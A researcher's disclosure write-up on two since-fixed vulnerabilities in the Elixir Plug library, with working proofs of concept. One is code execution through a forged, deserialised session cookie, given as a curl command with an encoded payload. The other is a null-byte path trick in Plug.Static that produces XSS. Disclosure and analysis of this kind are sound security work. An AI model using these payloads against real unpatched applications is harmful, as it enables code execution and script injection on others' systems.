Analysis of Plug Security Vulnerabilities (Elixir)
A couple weeks ago (as of March 18th, 2017), I reported two Plug vulnerabilities to the Elixir team. They quickly fixed the issues, and made a disclosure on the forum.
I wanted to go into a little more detail, and cover the aspects I found interesting. I also hate it when I can't find I workable PoC for a disclosure, so that's here as well.
Arbitrary Code Execution in Cookie Serialization
This vulnerability is the less practical of the two, and probably hasn't been exploitable in the wild. However, the method of exploitation hasn't been covered yet and I thought it was particularly interesting. Here's most of the original report:
Impact:
Users with the ability to forge session cookies may be able to achieve arbitrary code execution.
Details:
The default "session" plug provides session cookie storage and serialization
functionality. Cookie data is validated via a signing mechanism, which
makes use of a secret_key_base
token. The serialization process utilizes
Erlang's binary_to_term
and term_to_binary
functions, which will serialize
and deserialize any term or data structure, including partials and
function captures. A user with the ability to forge cookies (e.g. as
a result of a source code disclosure) can create cookies containing
these dangerous values. Function captures are enumerable, which means
that any instance in which a cookie value is enumerated is vulnerable
to code execution.
For example, consider an application that stores cart IDs in the session cookie with the intention of doing something special for any ID over 10:
cart_ids = get_session(conn, :cart)
if Enum.any?(cart_ids, fn(x) -> x > 10 end) do
// something special
end
To achieve code execution, a malicious user could forge a cookie with the following value:
%{"cart" => &({IO.inspect(System.cwd), &1, &2})}
The initial get_session
call would return the function capture, and
the value &({IO.inspect(System.cwd), &1, &2})
would be stored in
cart_ids
. The Enum.any?
call would iterate over the capture, and
execute IO.inspect(System.cwd)
, printing the current working directory
to the log.
Reproduction Steps:
- Set up a working Elixir and Phoenix environment.
- Clone the following repository: https://github.com/GriffinMB/web
- Install dependencies, and run the server. Navigate to the homepage to view the default Phoenix Framework information.
- Clear the logs.
Execute the following curl command:
curl -I --cookie "_web_key=g3QAAAABbQAAAARjYXJ0cAAAAs0CYz55Unpf9u0_SHYoBBkQMgAAAAwAAAABZAAIZXJsX2V2YWxhDGIDGfPKZ2QADW5vbm9kZUBub2hvc3QAAABQAAAAAABoBGpkAARub25lZAAEbm9uZWwAAAABaAVkAAZjbGF1c2VhAmwAAAACaANkAAN2YXJhAGQAA19AMWgDZAADdmFyYQBkAANfQDJqamwAAAABaANkAAV0dXBsZWECbAAAAANoBGQABGNhbGxhAmgEZAAGcmVtb3RlYQJoA2QABGF0b21hAGQACUVsaXhpci5JT2gDZAAEYXRvbWECZAAHaW5zcGVjdGwAAAABaARkAARjYWxsYQJoBGQABnJlbW90ZWECaANkAARhdG9tYQBkAAlFbGl4aXIuSU9oA2QABGF0b21hAmQAB2luc3BlY3RsAAAAAWgEZAAEY2FsbGECaARkAAZyZW1vdGVhAmgDZAAEYXRvbWEAZAAJRWxpeGlyLklPaANkAARhdG9tYQJkAAdpbnNwZWN0bAAAAAFoBGQABGNhbGxhAmgEZAAGcmVtb3RlYQJoA2QABGF0b21hAGQACUVsaXhpci5JT2gDZAAEYXRvbWECZAAHaW5zcGVjdGwAAAABaARkAARjYWxsYQJoBGQABnJlbW90ZWECaANkAARhdG9tYQBkAAlFbGl4aXIuSU9oA2QABGF0b21hAmQAB2luc3BlY3RsAAAAAWgEZAAEY2FsbGECaARkAAZyZW1vdGVhAmgDZAAEYXRvbWEAZAAJRWxpeGlyLklPaANkAARhdG9tYQJkAAdpbnNwZWN0bAAAAAFoBGQABGNhbGxhAmgEZAAGcmVtb3RlYQJoA2QABGF0b21hAGQADUVsaXhpci5TeXN0ZW1oA2QABGF0b21hAmQAA2N3ZGpqampqampoA2QAA3ZhcmEAZAADX0AxaANkAAN2YXJhAGQAA19AMmpqag==##2k3q1Z-SnExwnPWDfsIq0tDZg5k=" http://localhost:4000
Note the current working directory information printed to the logs.
Null Byte Injection in Plug.Static
This one has been covered a bit more fully, but here are the details I provided:
Impact:
Users with the ability to upload files served by the "static" plug can bypass filetype restrictions, which may lead to cross-site scripting and other arbitrary file upload exploits.
Details:
The "static" plug, used to serve assets in Plug-based web
frameworks, serves two primary functions: locating the requested
file, and setting the response content type. The asset content
type is set dynamically, using the Mime.from_path
function.
For example, a request for the file "images/phoenix.png" will result
in a content type of "image/png." However, if the request is updated
to "images/phoenix.png%00.html," the resulting content type will be
set to "text/html."
The problem with this is that the mechanism for reading
the file, :prim_file.read_file_info
, is null byte terminated. This
means that both "images/phoenix.png" and "images/phoenix.png%00.html"
will return the same static asset. So, if file upload functionality is
provided by the application, and the assets are served with the
"static" plug, a malicious user could do something like the following:
- Upload a file, "evil.png," with embedded JavaScript
- Request the file at "evil.png%00.html"
- Achieve XSS
Reproduction Steps:
- Set up a working Elixir and Phoenix environment.
- Create a new Phoenix project, and run the server.
In the static images directory, create a file ("evil.png") with the following content:
<script>alert(1)</script>
Navigate to http://localhost:4000/images/evil.png%00.html
Note the JavaScript alert.